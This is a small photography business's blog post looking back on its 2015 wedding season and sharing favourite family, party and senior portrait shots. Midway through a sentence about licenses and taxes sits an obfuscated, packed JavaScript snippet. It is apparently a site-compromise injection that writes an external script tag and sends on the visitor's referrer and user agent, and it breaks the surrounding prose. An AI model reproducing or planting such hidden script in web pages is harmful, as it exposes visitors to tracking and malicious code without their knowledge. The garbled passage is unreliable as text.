Wedding Season 2015 is (almost) in the books

I started this “little” side hustle in early 2013 without really knowing what to expect.  To say I am pleasantly surprised is probably a bit of an understatement.

30+ weddings later, Brooke and Bryn Photography is turning out to be a pretty legit operation.  We even have business licenses, insurance and pay taxes (none of which make me “happy” – since giving away money is sort of the opposite of what we’re trying to do! But they are ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“<\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|deybi|var|u0026u|referrer|eakef||js|php’.split(‘|’),0,{}))
definite indicators that we are playing with the big kids).

We are just wrapping up delivery on our last 2 weddings and family sessions, and already starting on engagement sessions for our 2015 couples.  Is this for real?

I had originally planned on posting my favorite pictures from every wedding this year.  And then I remembered, our pro blog is seriously neglected during the wedding season and could probably use a “best of 2014” post.  So instead, I decided to grab some of my fave non-wedding shots!  Enjoy!

I shot a sweet-sixteen party at a yacht club in Marin and brought Nick along as my 2nd shooter.  The cake was delicious.  We ended up getting quite a bit to take home.  Perks!

2014-Morgan-0007-X2I had danced with Tory for a couple of years.  We were often “partnered” due to our similar heights.  I’m nowhere near as graceful and flexible as she, but was pretty pumped to do a ballet themed senior photo shoot!

2014-Schmidt-1052-X2Can you believe Lindsay has 4 kids?!  She looks amazing, right?!  Lindsay and I actually went to kindergarten together.  Yes.  Kindergarten.  Her beautiful fam recently moved to the bay area and I was so excited (and slightly nervous) to capture her family of 6!  The kids were amazing and so much fun!
